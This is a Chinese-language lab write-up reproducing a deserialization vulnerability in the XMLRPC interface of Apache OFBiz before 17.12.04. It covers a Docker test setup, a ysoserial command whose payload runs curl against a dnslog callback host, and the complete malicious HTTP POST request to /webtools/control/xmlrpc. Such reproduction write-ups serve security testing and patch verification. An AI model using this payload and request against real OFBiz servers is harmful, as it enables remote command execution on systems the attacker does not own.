一、软件介绍
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
二、漏洞描述
Apache OFBiz在17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。
三、影响范围
17.12.04版本之前
四、复现环境
目标机:Ubuntu21.4
攻击机:kali2021
五、漏洞复现
1、环境搭建,Ubuntu需要安装docker20.10.7和docker-compose1.29.2(docker环境搭建可自行百度)
2、通过docker-compose.yml文件自动下载并启动Apache OFBiz镜像和容器,文件内容如下,也可以手动拉取镜像
在文件目录下执行docker-compose up -d
执行不了的用sudo命令,网络问题无法下载镜像的多试几次或修改配置文件使用国内镜像库(这里自行百度)
用docker ps命令查看镜像是否启动
这里显示镜像正常启动了,kali访https://your-ip:8433/myportal/control/main看到登录页面证明环境搭建完成
使用ysoserial的CommonsBeanutils1来生成Payload,命令如下:
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsBeanutils1 "curl hhgdg3.dnslog.cn" | base64 | tr -d "\n"
生成如下经过base64编码的payload
通过bp抓包,将请求包修改为如下数据包
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
将[base64-payload] 替换为上面生成的payload,然后发送请求
刷新dnslog,查看攻击结果